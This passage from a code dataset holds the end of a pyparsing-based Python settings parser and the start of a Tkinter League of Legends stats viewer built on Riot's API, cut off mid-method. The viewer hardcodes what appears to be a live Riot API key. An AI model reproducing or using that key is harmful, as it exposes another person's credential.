name\n\n def __str__(self):\n return self.__token_name\n\n @property\n def name(self) -> str:\n return self.__token_name\n\n\nclass PropertyToken(Token):\n def __init__(self, name: str):\n super(PropertyToken, self).__init__(name)\n self.__token_value = None\n\n def __str__(self):\n return str(self.__token_value)\n\n @property\n def value(self):\n return self.__token_value\n\n @value.setter\n def value(self, value: str):\n self.__token_value = value\n\n\nclass EnumerationToken(Token):\n def __init__(self, name: str):\n super(EnumerationToken, self).__init__(name)\n self.__elements = list()\n\n def __str__(self):\n return '[' + ', '.join(self.__elements) + ']'\n\n def __iter__(self):\n for value in self.__elements:\n yield value\n\n def __len__(self):\n return len(self.__elements)\n\n def append(self, value: str):\n self.__elements.append(value)\n\n\nclass BlockToken(Token):\n def __init__(self, name: str):\n super(BlockToken, self).__init__(name)\n self.__properties = dict()\n self.__tokens = list()\n\n def __str__(self):\n s = [super(BlockToken, self).__str__(), '=', '{']\n for p in self.__properties:\n ln = len(self.__properties.get(p))\n if ln > 1:\n s.extend([p, '=', '{'])\n for v in self.__properties.get(p):\n s.append(v)\n s.append('}')\n elif ln == 1:\n s.extend([p, '=', self.__properties.get(p)[0]])\n for t in self.__tokens:\n s.append(str(t))\n s.append('}')\n\n return ' '.join(s)\n\n def __iter__(self):\n for child in self.__tokens:\n yield child\n\n def __len__(self):\n return len(self.__tokens)\n\n def append(self, token: Token):\n self.__tokens.append(token)\n\n @property\n def includes(self) -> dict:\n return {token.name: token for token in self.__tokens if isinstance(token, BlockToken)}\n\n @property\n def properties(self):\n return self.__properties\n\n\nclass VariableToken(Token):\n def __init__(self, name: str):\n super(VariableToken, self).__init__(name)\n self.__token_value = None\n\n @property\n def value(self):\n return self.__token_value\n\n @value.setter\n def value(self, value: str):\n self.__token_value = value\n\n\nclass NamespaceToken(Token):\n pass\n\n\ndef token_property_visitor(stack: str, lineno: int, tokens: ParseResults) -> None:\n tokens[0] = PropertyToken(tokens[0])\n\n\ndef token_block_visitor(stack: str, lineno: int, tokens: ParseResults) -> None:\n tokens[0] = BlockToken(tokens[0])\n\n\ndef token_variable_visitor(stack: str, lineno: int, tokens: ParseResults) -> None:\n tokens[0] = VariableToken(tokens[0])\n\n\ndef token_enumeration_visitor(stack: str, lineno: int, tokens: ParseResults) -> None:\n tokens[0] = EnumerationToken(tokens[0])\n\n\ndef token_namespace_visitor(stack: str, lineno: int, tokens: ParseResults) -> None:\n tokens[0] = NamespaceToken(tokens[1])\n\n\ndef create_grammar() -> ParserElement:\n \"\"\"Creating grammar rules\n\n :rtype: ParserElement\n \"\"\"\n minus = Literal('-')\n lbrack = Literal('{').suppress()\n rbrack = Literal('}').suppress()\n assign = Literal('=').suppress()\n compare = Literal('>=').suppress() | Literal('<=').suppress() | Literal('>').suppress() | Literal('<').suppress()\n letters = alphanums + '_'\n entity = letters + '-:.'\n numbers = Combine(Optional(minus) + Word(nums) + Optional(Word('.', nums))) | Word('.', nums)\n\n namespace = Word('namespace') + assign + Word(letters)\n namespace.setParseAction(token_namespace_visitor)\n namespace.setResultsName('namespace')\n # namespace = namespace.suppress()\n variable = Word('@', letters) + assign + numbers\n variable.setParseAction(token_variable_visitor)\n variable.setResultsName('variable')\n value = dblQuotedString.setParseAction(removeQuotes)\n prop = Word(entity) + (assign | compare) + (numbers | value | Word(entity) | Word('@', letters))\n prop.setParseAction(token_property_visitor)\n prop.setResultsName('property')\n # enums = Forward()\n enums = Word(entity) + assign + lbrack + OneOrMore(Group(Word(entity) | value)) + rbrack\n enums.setParseAction(token_enumeration_visitor)\n enums.setResultsName('enumeration')\n block = Forward()\n # block << (value | Word(letters)) + assign + lbrack + Dict(ZeroOrMore(Group(prop | block))) + rbrack\n block << (value | Word(entity)) + (assign | compare) + lbrack + ZeroOrMore(Group(prop | block | enums)) + rbrack\n block.setParseAction(token_block_visitor)\n block.setResultsName('block')\n # context = Dict(ZeroOrMore(Group(block | variable)))\n context = Optional(Group(namespace)) + ZeroOrMore(Group(block | variable))\n context.ignore(pythonStyleComment)\n\n return context\n\n\ndef parse_token(parsed) -> Token:\n if isinstance(parsed[0], NamespaceToken):\n token = parsed[0] # type: NamespaceToken\n elif isinstance(parsed[0], VariableToken):\n token = parsed[0] # type: VariableToken\n token.value = str(parsed[1])\n elif isinstance(parsed[0], PropertyToken):\n token = parsed[0] # type: PropertyToken\n token.value = str(parsed[1])\n elif isinstance(parsed[0], EnumerationToken):\n token = parsed[0] # type: EnumerationToken\n for value in parsed[1:]:\n token.append(str(value[0]))\n elif isinstance(parsed[0], BlockToken):\n token = parsed[0] # type: BlockToken\n parsed.pop(0)\n for node in parsed:\n _token = parse_token(node)\n if isinstance(_token, PropertyToken):\n token.properties[_token.name] = _token.value\n elif isinstance(_token, EnumerationToken):\n token.properties[_token.name] = list(_token)\n elif isinstance(_token, BlockToken):\n token.append(_token)\n else:\n raise TypeError('Unknown token type %s' % _token)\n else:\n raise TypeError('Unknown token type %s' % parsed)\n\n return token\n\n\ndef parse_tokens(parsed) -> list:\n tokens = []\n for node in parsed:\n tokens.append(parse_token(node))\n\n return tokens\n\n\ndef parse_string(string: str) -> list:\n \"\"\"Parsing specified string\n\n :param string: File content for parsing\n :type string: str\n :rtype: list\n :raises: ParseException\n \"\"\"\n parsed = create_grammar().parseString(string, parseAll=True)\n\n return parse_tokens(parsed)\n\n\ndef parse_file(filepath: str) -> list:\n \"\"\"Parsing content of specified file\n\n :param filepath: Path to file with content for parsing\n :type filepath: str\n :rtype: list\n :raises: ParseException\n \"\"\"\n parsed = create_grammar().parseFile(filepath, parseAll=True)\n\n return parse_tokens(parsed)\n\n\ndef parse_settings(settings: str):\n minus = Literal('-')\n lbrack = Literal('{').suppress()\n rbrack = Literal('}').suppress()\n assign = Literal('=').suppress()\n compare = Literal('>=').suppress() | Literal('<=').suppress() | Literal('>').suppress() | Literal('<').suppress()\n letters = alphanums + '_'\n entity = letters + '-:.'\n numbers = Combine(Optional(minus) + Word(nums) + Optional(Word('.', nums))) | Word('.', nums)\n\n variable = Word('@', letters) + assign + numbers\n variable.setParseAction(token_variable_visitor)\n variable.setResultsName('variable')\n value = dblQuotedString.setParseAction(removeQuotes)\n prop = Word(entity) + (assign | compare) + (numbers | value | Word(entity) | Word('@', letters))\n prop.setParseAction(token_property_visitor)\n prop.setResultsName('property')\n # enums = Forward()\n enums = Word(entity) + assign + lbrack + OneOrMore(Group(Word(entity) | value)) + rbrack\n enums.setParseAction(token_enumeration_visitor)\n enums.setResultsName('enumeration')\n block = Forward()\n # block << Word(letters) + assign + lbrack + Dict(ZeroOrMore(Group(prop | block))) + rbrack\n block << Word(entity) + (assign | compare) + lbrack + ZeroOrMore(Group(prop | block | enums)) + rbrack\n block.setParseAction(token_block_visitor)\n block.setResultsName('block')\n # context = Dict(ZeroOrMore(Group(block | variable)))\n context = ZeroOrMore(Group(block | variable | prop | enums))\n context.ignore(pythonStyleComment)\n\n parsed = context.parseFile(settings, parseAll=True)\n\n return parse_tokens(parsed)\n","sub_path":"@utils/parser/parsing/parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":8847,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"492493928","text":"from tkinter import * # import tkinter\nimport urllib.request\nimport json # import json module\nfrom tkinter.font import *\nimport time\nimport math\n\nimport LOL_Parse\n\n#############################################################################################\n# 사전 처리 부분 - 가장 먼저 실행되어야 한다.\nserver = \"kr.api.riotgames.com\"\napiKey = \"RGAPI-354e7489-f932-4a39-90ab-24069b93c837\"\n# 파서 객체 생성, apikey와 server는 정해져 있다.\nparser = LOL_Parse.Parser(server, apiKey)\n\n# 현재 롤 클라이언트 버전을 확인하기 위해 데이터 드래곤 url의 한국서버 json 파일을 받아온다.\nrecentData_url = \"https://ddragon.leagueoflegends.com/realms/kr.json\"\ndata = parser.Decode_URLtoJson(recentData_url)\nversion_champion = data[\"n\"][\"champion\"]\nversion_profileicon = data[\"n\"][\"profileicon\"]\nversion_language = data[\"l\"]\n\nrecentData_Champion_url = \"http://ddragon.leagueoflegends.com/cdn/\" + version_champion + \"/data/\" + version_language + \"/champion.json\"\nrecentData_Champion = parser.Decode_URLtoJson(recentData_Champion_url)\nChampion_List = list(recentData_Champion['data'].keys())\n##############################################################################################\n\n_WHITE_IN = 1\n_WHITE_OUT = 2\n_BLACK_IN = 3\n_BLACK_OUT = 4\n\nclass SearchedSummoner:\n # 검색한 소환사를 출력하기 위한 클래스\n global parser\n def __init__(self, _Name, _EncrytedID, _AccountID, _ProfileIconID, _SummonerLevel):\n self.name = _Name\n self.id_Encryted = _EncrytedID\n self.id_Account = _AccountID\n self.id_Profile = _ProfileIconID\n self.level = _SummonerLevel\n\n self.GetLeagueInfo()\n\n def GetLeagueInfo(self):\n data = parser.Get_API_League_ofSummoner(self.id_Encryted)\n self.isActive = data[0]\n if self.isActive:\n jsonData = data[1]\n self.win = int(jsonData['wins'])\n self.queue = jsonData['queueType']\n self.loss = int(jsonData['losses'])\n self.total = self.win + self.loss\n self.tier = jsonData['tier']\n self.rank = jsonData['rank']\n self.lp = jsonData['leaguePoints']\n self.id_League = jsonData['leagueId']\n\nclass RankingSummoner:\n global parser\n # 챌린저 리그 소환사 객체를 위한 정보 클래스\n def __init__(self, _Name, _LeaguePoints, _Wins, _Losses, _EncrytedID):\n self.name = _Name\n self.lp = int(_LeaguePoints)\n self.win = int(_Wins)\n self.loss = int(_Losses)\n self.id_Encryted = _EncrytedID\n self.total = self.win + self.loss\n\n def SetProfileIcon(self, idx):\n if idx == 0:\n self.iconSize = (200, 200)\n else:\n self.iconSize = (100, 100)\n\n jsonData = parser.Get_API_Search_byName(self.name)\n self.id_Profile = jsonData['profileIconId']\n self.level = jsonData['summonerLevel']\n # 프로필 아이콘 이미지를 리턴g한다.\n image = parser.Get_ProfileIcon(version_profileicon, self.id_Profile, self.iconSize)\n return image\n\n\ndef findChampionName(champID):\n # json으로 읽어온 챔피언 리스트에서 입력받은 챔피언 ID값과 일치하는 챔피언 이름을 리턴한다.\n global Champion_List, recentData_Champion\n for string in Champion_List:\n if int(recentData_Champion['data'][string]['key']) == champID:\n return string\n\n\ndef Draw_rotation_images(champName, img_width, img_height):\n # url로 챔피언 이미지를 가져와 image 객체를 리턴한다.\n global parser\n url = \"http://ddragon.leagueoflegends.com/cdn/img/champion/loading/\" + str(champName) + \"_0.jpg\"\n image = parser.Decode_ImagefromURL(url, (img_width, img_height))\n return image\n\n\nclass MainWindow:\n global parser, _WHITE_IN, _WHITE_OUT, _BLACK_IN, _BLACK_OUT\n mainWidth = 1230\n mainHeight = 750\n offset_x = 10\n offset_y = 10\n\n def ResetSearchData(self):\n pass\n\n def Get_rankinginfo(self):\n # 랭킹 정보를 가져옵니다.\n jsonData = parser.Get_API_Challengerleagues()\n self.challenger_rankerlist_raw = jsonData['entries']\n for idx in range(len(self.challenger_rankerlist_raw)):\n self.challenger_rankerlist.append(RankingSummoner(self.challenger_rankerlist_raw[idx]['summonerName'], self.challenger_rankerlist_raw[idx]['leaguePoints'], self.challenger_rankerlist_raw[idx]['wins'], self.challenger_rankerlist_raw[idx]['losses'], self.challenger_rankerlist_raw[idx]['summonerId']))\n\n def Sort_rankinginfo(self):\n self.challenger_rankerlist = sorted(self.challenger_rankerlist, key = lambda val : val.lp, reverse = True) # 내림차순 정렬\n print(\"Sorting Complete\")\n\n def Set_challenger_profileicon(self):\n cycle = 5 # 5 순위까지\n for idx in range(cycle):\n self.challenger_profileiconlist.append(self.challenger_rankerlist[idx].SetProfileIcon(idx))\n\n def ResetCanvas(self):\n self.isEmpty = True\n # 검색 엔트리 초기화\n\n self.search_Entry.delete(0, len(self.search_Entry.get()))\n filePath = \"./lol_images/NoProfile.png\"\n self.info_img_profileIcon = parser.Get_ImageFromFile(filePath, (100,100))\n self.info_Label_profileIcon.config(image = self.info_img_profileIcon, relief = \"raised\", bd = 3)\n\n pass\n\n def Set_challengers(self):\n # 랭킹 프레임 그리기\n ## 상위 랭커 5위 출력 #####################################################\n\n # 1위\n self.rank_Label_First_profileIcon = Label(self.main_canvas, image=self.challenger_profileiconlist[0],\n relief=\"raised\", bd=10, bg=\"black\")\n self.rank_Label_First_Name = Label(self.main_canvas, text=self.challenger_rankerlist[0].name, bg=\"black\", fg=\"white\")\n self.rank_Label_First_Level = Label(self.main_canvas, text=\"Lv.\" + str(self.challenger_rankerlist[0].level), bg=\"black\", fg=\"white\")\n self.rank_Label_First_LeaguePoints = Label(self.main_canvas, text=str(self.challenger_rankerlist[0].lp) + \" LP\", bg=\"black\", fg=\"white\")\n self.rank_Label_First_WinRate = Label(self.main_canvas,\n text=\"{0}전 {1}승 {2}패 승률:{3:.1f}%\".format(self.challenger_rankerlist[0].total,\n self.challenger_rankerlist[0].win,\n self.challenger_rankerlist[0].loss,\n self.challenger_rankerlist[\n 0].win * 100 /\n self.challenger_rankerlist[0].total), bg=\"black\", fg=\"white\")\n # 2위\n self.rank_Label_Second_profileIcon = Label(self.main_canvas, image=self.challenger_profileiconlist[1],\n relief=\"raised\", bd=5, bg=\"black\")\n self.rank_Label_Second_Name = Label(self.main_canvas, text=self.challenger_rankerlist[1].name, bg=\"black\", fg=\"white\")\n self.rank_Label_Second_Level = Label(self.main_canvas, text=\"Lv.\" + str(self.challenger_rankerlist[1].level), bg=\"black\", fg=\"white\")\n self.rank_Label_Second_LeaguePoints = Label(self.main_canvas, text=str(self.challenger_rankerlist[1].lp) + \" LP\", bg=\"black\", fg=\"white\")\n self.rank_Label_Second_WinRate = Label(self.main_canvas,\n text=\"{0}전\\n{1}승\\n{2}패\\n승률:{3:.1f}%\".format(self.challenger_rankerlist[1].total,\n self.challenger_rankerlist[1].win,\n self.challenger_rankerlist[1].loss,\n self.challenger_rankerlist[\n 1].win * 100 /\n self.challenger_rankerlist[\n 1].total), bg=\"black\", fg=\"white\")\n # 3위\n self.rank_Label_Third_profileIcon = Label(self.main_canvas, image=self.challenger_profileiconlist[2],\n relief=\"raised\", bd=5, bg=\"black\")\n self.rank_Label_Third_Name = Label(self.main_canvas, text=self.challenger_rankerlist[2].name, bg=\"black\", fg=\"white\")\n self.rank_Label_Third_Level = Label(self.main_canvas, text=\"Lv.\" + str(self.challenger_rankerlist[2].level), bg=\"black\", fg=\"white\")\n self.rank_Label_Third_LeaguePoints = Label(self.main_canvas, text=str(self.challenger_rankerlist[2].lp) + \" LP\", bg=\"black\", fg=\"white\")\n self.rank_Label_Third_WinRate = Label(self.main_canvas,\n text=\"{0}전\\n{1}승\\n{2}패\\n승률:{3:.1f}%\".format(self.challenger_rankerlist[2].total,\n self.challenger_rankerlist[2].win,\n self.challenger_rankerlist[2].loss,\n self.challenger_rankerlist[\n 2].win * 100 /\n self.challenger_rankerlist[2].total), bg=\"black\", fg=\"white\")\n # 4위\n self.rank_Label_Fourth_profileIcon = Label(self.main_canvas, image=self.challenger_profileiconlist[3],\n relief=\"raised\", bd=5, bg=\"black\")\n self.rank_Label_Fourth_Name = Label(self.main_canvas, text=self.challenger_rankerlist[3].name, bg=\"black\", fg=\"white\")\n self.rank_Label_Fourth_Level = Label(self.main_canvas, text=\"Lv.\" + str(self.challenger_rankerlist[3].level), bg=\"black\", fg=\"white\")\n self.rank_Label_Fourth_LeaguePoints = Label(self.main_canvas, text=str(self.challenger_rankerlist[3].lp) + \" LP\", bg=\"black\", fg=\"white\")\n self.rank_Label_Fourth_WinRate = Label(self.main_canvas,\n text=\"{0}전\\n{1}승\\n{2}패\\n승률:{3:.1f}%\".format(self.challenger_rankerlist[3].total,\n self.challenger_rankerlist[3].win,\n self.challenger_rankerlist[3].loss,\n self.challenger_rankerlist[\n 3].win * 100 /\n self.challenger_rankerlist[\n 3].total), bg=\"black\", fg=\"white\")\n # 5위\n self.rank_Label_Fifth_profileIcon = Label(self.main_canvas, image=self.challenger_profileiconlist[4],\n relief=\"raised\", bd=5, bg=\"black\")\n self.rank_Label_Fifth_Name = Label(self.main_canvas, text=self.challenger_rankerlist[4].name, bg=\"black\", fg=\"white\")\n self.rank_Label_Fifth_Level = Label(self.main_canvas, text=\"Lv.\" + str(self.challenger_rankerlist[4].level), bg=\"black\", fg=\"white\")\n self.rank_Label_Fifth_LeaguePoints = Label(self.main_canvas, text=str(self.challenger_rankerlist[4].lp) + \" LP\", bg=\"black\", fg=\"white\")\n self.rank_Label_Fifth_WinRate = Label(self.main_canvas,\n text=\"{0}전\\n{1}승\\n{2}패\\n승률:{3:.1f}%\".format(self.challenger_rankerlist[4].total,\n self.challenger_rankerlist[4].win,\n self.challenger_rankerlist[4].loss,\n self.challenger_rankerlist[\n 4].win * 100 /\n self.challenger_rankerlist[4].total), bg=\"black\", fg=\"white\")\n\n #########################################################################\n\n def Reset_Canvas(self):\n # 소환사 정보 출력부와 검색 엔트리를 초기화한다.\n pass\n\n def Button_SendEmail(self):\n # Gmail을 전송한다.\n pass\n\n ## 이벤트 함수 정의문 ####\n\n def Event_search_IN(self, event):\n self.label_search.configure(image = self.buttondrawer.img_label_search_over)\n def Event_search_OUT(self, event):\n self.label_search.configure(image = self.buttondrawer.img_label_search)\n def Event_search_CLICK(self, event):\n if self.main_animationflag:\n return\n self.search_animationflag = True\n self.frame = 0.0\n self.Disable_mainlabels()\n self.main_canvas.after(0, self.Animate_toSearch)\n print(\"\\x1b[1;34mSearch Scene blend Start\\x1b[0;m\")\n\n def Event_search_searchIN(self, event):\n self.search_button_search.configure(image = self.buttondrawer.img_button_search_over_red)\n def Event_search_searchOUT(self, event):\n self.search_button_search.configure(image=self.buttondrawer.img_button_search)\n def Event_search_searchCLICK(self, event):\n #self.SearchSummonerName(self.search_entry.get())\n self.gif_animationflag = False\n def Event_search_resetIN(self, event):\n self.search_button_reset.configure(image = self.buttondrawer.img_button_reset_over_red)\n def Event_search_resetOUT(self, event):\n self.search_button_reset.configure(image = self.buttondrawer.img_button_reset)\n\n def Event_rotation_IN(self, event):\n self.label_rotation.configure(image = self.buttondrawer.img_label_rotation_over)\n def Event_rotation_OUT(self, event):\n self.label_rotation.configure(image = self.buttondrawer.img_label_rotation)\n def Event_rotation_CLICK(self, event):\n if self.main_animationflag:\n return\n self.rotation_animationflag = True\n self.frame = 0.0\n self.Disable_mainlabels()\n self.main_canvas.after(0, self.Animate_toRotation)\n print(\"\\x1b[1;34mRotation Scene blend Start\\x1b[0;m\")\n\n def Event_challenger_IN(self, event):\n self.label_challenger.configure(image = self.buttondrawer.img_label_challenger_over)\n def Event_challenger_OUT(self, event):\n self.label_challenger.configure(image = self.buttondrawer.img_label_challenger)\n def Event_challenger_CLICK(self, event):\n if self.main_animationflag:\n return\n self.challenger_animationflag = True\n self.frame = 0.0\n self.Disable_mainlabels()\n self.main_canvas.after(0, self.Animate_toChallenger)\n print(\"\\x1b[1;34mChallenger Scene blend Start\\x1b[0;m\")\n\n def Event_back_IN(self, event):\n self.label_back.configure(image = self.buttondrawer.img_label_back_over)\n def Event_back_OUT(self, event):\n self.label_back.configure(image=self.buttondrawer.img_label_back)\n def Event_back_CLICK(self, event):\n print(\"{0}, {1}\".format(self.isAnimationing, self.challenger_isAnimationing))\n if self.isAnimationing:\n return\n elif self.challenger_isAnimationing:\n return\n self.main_canvas.delete('search')\n self.main_canvas.delete('challenger')\n self.Disable_searchscene()\n self.Disable_rotationscene()\n self.Disable_challengerscene()\n\n self.frame = 0.0\n self.gif_animationflag = False\n self.main_animationflag = True\n self.main_animationtype = _WHITE_OUT\n self.main_canvas.after(0, self.Animate_mainscene)\n print(\"\\x1b[1;34mTo main Scene blend Start\\x1b[0;m\")\n\n def Event_tab_Click(self, event):\n clicked_tab = self.notebook.tk.call(self.notebook._w, \"identify\", \"tab\", event.x, event.y)\n if clicked_tab != 2: # 2번째 인덱스로 더해졌기 때문에\n self.gif_animationflag = False\n self.main_animationflag = False\n self.search_animationflag = False\n return\n if self.main_animationflag:\n return\n if self.search_animationflag:\n return\n\n self.main_canvas.delete('search')\n self.main_canvas.delete('challenger')\n self.Disable_searchscene()\n self.Disable_rotationscene()\n self.Disable_challengerscene()\n\n self.frame = 0.0\n self.main_animationflag = True\n self.main_animationtype = _WHITE_OUT\n self.Enable_mainlabels()\n self.main_canvas.after(0, self.Animate_mainscene)\n print(\"\\x1b[1;34mLOL Scene blend Start\\x1b[0;m\")\n\n ########################\n\n ## 애니메이션 함수 정의문 ####\n\n def Animate_gif(self, in_counter):\n if not self.gif_animationflag:\n return\n\n self.search_button_search.update()\n self.main_canvas.itemconfig(self.background_gif, image=self.buttondrawer.img_sequence[in_counter])\n self.main_canvas.after(35, lambda: self.Animate_gif((in_counter + 1) % len(self.buttondrawer.img_sequence)))\n\n def Animate_toSearch(self):\n animSpeed = 2\n self.frame += 0.016 * animSpeed\n\n if math.floor(self.frame) == 0:\n self.main_background_blended = self.buttondrawer.Get_BlendedImageFromImages(self.buttondrawer.img_background,\n self.buttondrawer.img_whitebackground,\n self.frame - math.floor(self.frame))\n elif math.floor(self.frame) == 1:\n self.main_background_blended = self.buttondrawer.Get_BlendedImageFromImages(self.buttondrawer.img_whitebackground,\n self.buttondrawer.img_background_transparent,\n self.frame - math.floor(self.frame))\n else:\n self.main_background_blended = self.buttondrawer.img_background_transparent_raw\n self.search_animationflag = False\n\n self.main_canvas.delete(\"background\")\n self.main_canvas.create_image(615, 375, image=self.main_background_blended, tags=\"background\")\n\n if self.search_animationflag:\n self.main_canvas.after(16, self.Animate_toSearch)\n else:\n self.background_gif = self.main_canvas.create_image(1230 / 2, 750 / 2, image=self.buttondrawer.img_sequence[0])\n print(\"\\x1b[1;34mSearch Scene blend Ended\\x1b[0;m\")\n self.Enable_searchscene()\n self.gif_animationflag = True\n self.Animate_gif(0)\n\n def Animate_toRotation(self):\n animSpeed = 2\n self.frame += 0.016 * animSpeed\n\n if math.floor(self.frame) == 0:\n self.main_background_blended = self.buttondrawer.Get_BlendedImageFromImages(\n self.buttondrawer.img_background,\n self.buttondrawer.img_whitebackground,\n self.frame - math.floor(self.frame))\n elif math.floor(self.frame) == 1:\n self.main_background_blended = self.buttondrawer.Get_BlendedImageFromImages(\n self.buttondrawer.img_whitebackground,\n self.buttondrawer.img_background_transparent,\n self.frame - math.floor(self.frame))\n else:\n self.main_background_blended = self.buttondrawer.img_background_transparent_raw\n self.rotation_animationflag = False\n\n self.main_canvas.delete(\"background\")\n self.main_canvas.create_image(615, 375, image=self.main_background_blended, tags=\"background\")\n\n if self.rotation_animationflag:\n self.main_canvas.after(16, self.Animate_toRotation)\n else:\n self.background_gif = self.main_canvas.create_image(1230 / 2, 750 / 2,\n image=self.buttondrawer.img_sequence[0])\n print(\"\\x1b[1;34mRotation Scene blend Ended\\x1b[0;m\")\n self.Enable_rotationscene()\n self.gif_animationflag = True\n self.Animate_gif(0)\n\n def Animate_toChallenger(self):\n animSpeed = 2\n self.frame += 0.016 * animSpeed\n\n if math.floor(self.frame) == 0:\n self.main_background_blended = self.buttondrawer.Get_BlendedImageFromImages(\n self.buttondrawer.img_background,\n self.buttondrawer.img_whitebackground,\n self.frame - math.floor(self.frame))\n elif math.floor(self.frame) == 1:\n self.main_background_blended = self.buttondrawer.Get_BlendedImageFromImages(\n self.buttondrawer.img_whitebackground,\n self.buttondrawer.img_background_transparent,\n self.frame - math.floor(self.frame))\n else:\n self.main_background_blended = self.buttondrawer.img_background_transparent_raw\n self.challenger_animationflag = False\n\n self.main_canvas.delete(\"background\")\n self.main_canvas.create_image(615, 375, image=self.main_background_blended, tags=\"background\")\n\n if self.challenger_animationflag:\n self.main_canvas.after(16, self.Animate_toChallenger)\n else:\n self.background_gif = self.main_canvas.create_image(1230 / 2, 750 / 2,\n image=self.buttondrawer.img_sequence[0])\n print(\"\\x1b[1;34mChallenger Scene blend Ended\\x1b[0;m\")\n self.Enable_challengerscene()\n self.gif_animationflag = False\n self.challenger_isAnimationing = True\n self.main_canvas.delete('challenger')\n self.Draw_ChallengerGraph()\n #self.gif_animationflag = True\n #self.Animate_gif(self.counter)\n\n\n def Animate_mainscene(self):\n animSpeed = 5\n self.frame += 0.016 * animSpeed\n\n if self.main_animationtype == _BLACK_OUT:\n self.Animate_blackout()\n elif self.main_animationtype == _BLACK_IN:\n self.Animate_blackin()\n elif self.main_animationtype == _WHITE_IN:\n self.Animate_whitein()\n elif self.main_animationtype == _WHITE_OUT:\n self.Animate_whiteout()\n\n self.main_canvas.delete(\"background\")\n self.main_canvas.create_image(615, 375, image = self.main_background_blended, tags=\"background\")\n if self.main_animationflag:\n self.main_canvas.after(16, self.Animate_mainscene)\n else:\n print(\"\\x1b[1;34mLOL Scene blend Ended\\x1b[0;m\")\n self.Enable_mainlabels()\n\n def Animate_whitein(self):\n if math.floor(self.frame) <= 2:\n self.main_background_blended = self.buttondrawer.Get_BlendedImageFromImages(self.buttondrawer.img_background,\n self.buttondrawer.img_whitebackground,\n self.frame/3.0)\n else:\n self.main_background_blended = self.buttondrawer.img_background_raw\n self.main_animationflag = False\n\n def Animate_whiteout(self):\n if math.floor(self.frame) <= 2:\n self.main_background_blended = self.buttondrawer.Get_BlendedImageFromImages(self.buttondrawer.img_whitebackground,\n self.buttondrawer.img_background,\n self.frame/3.0)\n else:\n self.main_background_blended = self.buttondrawer.img_background_raw\n self.main_animationflag = False\n\n def Animate_blackin(self):\n if math.floor(self.frame) <= 2:\n self.main_background_blended = self.buttondrawer.Get_BlendedImageFromImages(self.buttondrawer.img_background,\n self.buttondrawer.img_blackbackground,\n self.frame/3.0)\n else:\n self.main_background_blended = self.buttondrawer.img_blackbackground_raw\n self.main_animationflag = False\n\n def Animate_blackout(self):\n if math.floor(self.frame) <= 2:\n self.main_background_blended = self.buttondrawer.Get_BlendedImageFromImages(self.buttondrawer.img_background,\n self.buttondrawer.img_blackbackground,\n self.frame/3.0)\n else:\n self.main_background_blended = self.buttondrawer.img_blackbackground_raw\n self.main_animationflag = False\n\n ###########################\n\n def Enable_mainlabels(self):\n self.label_search.place(x=30, y=200)\n self.label_rotation.place(x=440, y=200)\n self.label_challenger.place(x=850, y=200)\n\n def Disable_mainlabels(self):\n self.label_search.place_forget()\n self.label_rotation.place_forget()\n self.label_challenger.place_forget()\n\n # 검색 씬\n def Enable_searchscene(self):\n self.label_back.place(x=50, y=50)\n\n # 검색 기능들\n self.search_entry.place(x=465, y=100, width = 300)\n self.search_button_search.place(x=780, y=105)\n self.search_button_reset.place(x=820, y=105)\n self.search_label_profileIcon.place(x=350, y=250)\n self.search_label_Emblem.place(x=350, y=420)\n self.search_label_Name.place(x=350+100+10, y=250)\n self.search_label_Level.place(x=350+100+10, y=270)\n self.search_label_WinRate.place(x=350+100+10, y=290)\n self.search_label_Queuetype.place(x=350+140+10, y=420)\n self.search_label_LeagueName.place(x=350+140+10, y=440)\n self.search_label_LeaguePoints.place(x=350+140+10, y=460)\n\n def Disable_searchscene(self):\n self.label_back.place_forget()\n\n # 검색 기능들\n self.search_entry.place_forget()\n self.search_button_search.place_forget()\n self.search_button_reset.place_forget()\n self.search_label_profileIcon.place_forget()\n self.search_label_Emblem.place_forget()\n self.search_label_Name.place_forget()\n self.search_label_Level.place_forget()\n self.search_label_WinRate.place_forget()\n self.search_label_Queuetype.place_forget()\n self.search_label_LeagueName.place_forget()\n self.search_label_LeaguePoints.place_forget()\n # 로테이션 씬\n def Enable_rotationscene(self):\n self.label_back.place(x=50, y=50)\n\n print(len(self.rotation_labellist))\n # 로테이션 라벨\n for idx in range(0, 7):\n self.rotation_labellist[idx].place(x = 24 + idx * 172, y = 275)\n for idx in range(7, 14):\n self.rotation_labellist[idx].place(x = 24 + (idx - 7) * 172, y = 500)\n def Disable_rotationscene(self):\n self.label_back.place_forget()\n\n # 로테이션 라벨\n for idx in range(0, 14):\n self.rotation_labellist[idx].place_forget()\n\n # 챌린져 씬\n def Enable_challengerscene(self):\n self.label_back.place(x=50, y=50)\n\n self.rank_Label_First_profileIcon.place(x=510, y=100)\n self.rank_Label_First_Name.place(x=510 + 220, y=100)\n self.rank_Label_First_Level.place(x=510 + 220, y=100+20)\n self.rank_Label_First_LeaguePoints.place(x=510 + 220, y=100+40)\n self.rank_Label_First_WinRate.place(x=510 + 220, y=100+60)\n\n self.rank_Label_Second_profileIcon.place(x=162, y=375)\n self.rank_Label_Second_Name.place(x=162+110, y=375)\n self.rank_Label_Second_Level.place(x=162+110, y=375+20)\n self.rank_Label_Second_LeaguePoints.place(x=162+110, y=375+40)\n self.rank_Label_Second_WinRate.place(x=162+110, y=375+60)\n\n self.rank_Label_Third_profileIcon.place(x=429, y=375)\n self.rank_Label_Third_Name.place(x=429+110, y=375)\n self.rank_Label_Third_Level.place(x=429+110, y=375+20)\n self.rank_Label_Third_LeaguePoints.place(x=429+110,y=375+40)\n self.rank_Label_Third_WinRate.place(x=429+110, y=375+60)\n\n self.rank_Label_Fourth_profileIcon.place(x=696, y=375)\n self.rank_Label_Fourth_Name.place(x=696+110, y=375)\n self.rank_Label_Fourth_Level.place(x=696+110, y=375+20)\n self.rank_Label_Fourth_LeaguePoints.place(x=696+110, y=375+40)\n self.rank_Label_Fourth_WinRate.place(x=696+110,y=375+60)\n\n self.rank_Label_Fifth_profileIcon.place(x=963, y=375)\n self.rank_Label_Fifth_Name.place(x=963+110, y=375)\n self.rank_Label_Fifth_Level.place(x=963+110, y=375+20)\n self.rank_Label_Fifth_LeaguePoints.place(x=963+110, y=375+40)\n self.rank_Label_Fifth_WinRate.place(x=963+110, y=375+60)\n def Disable_challengerscene(self):\n self.label_back.place_forget()\n\n self.rank_Label_First_profileIcon.place_forget()\n self.rank_Label_First_Name.place_forget()\n self.rank_Label_First_Level.place_forget()\n self.rank_Label_First_LeaguePoints.place_forget()\n 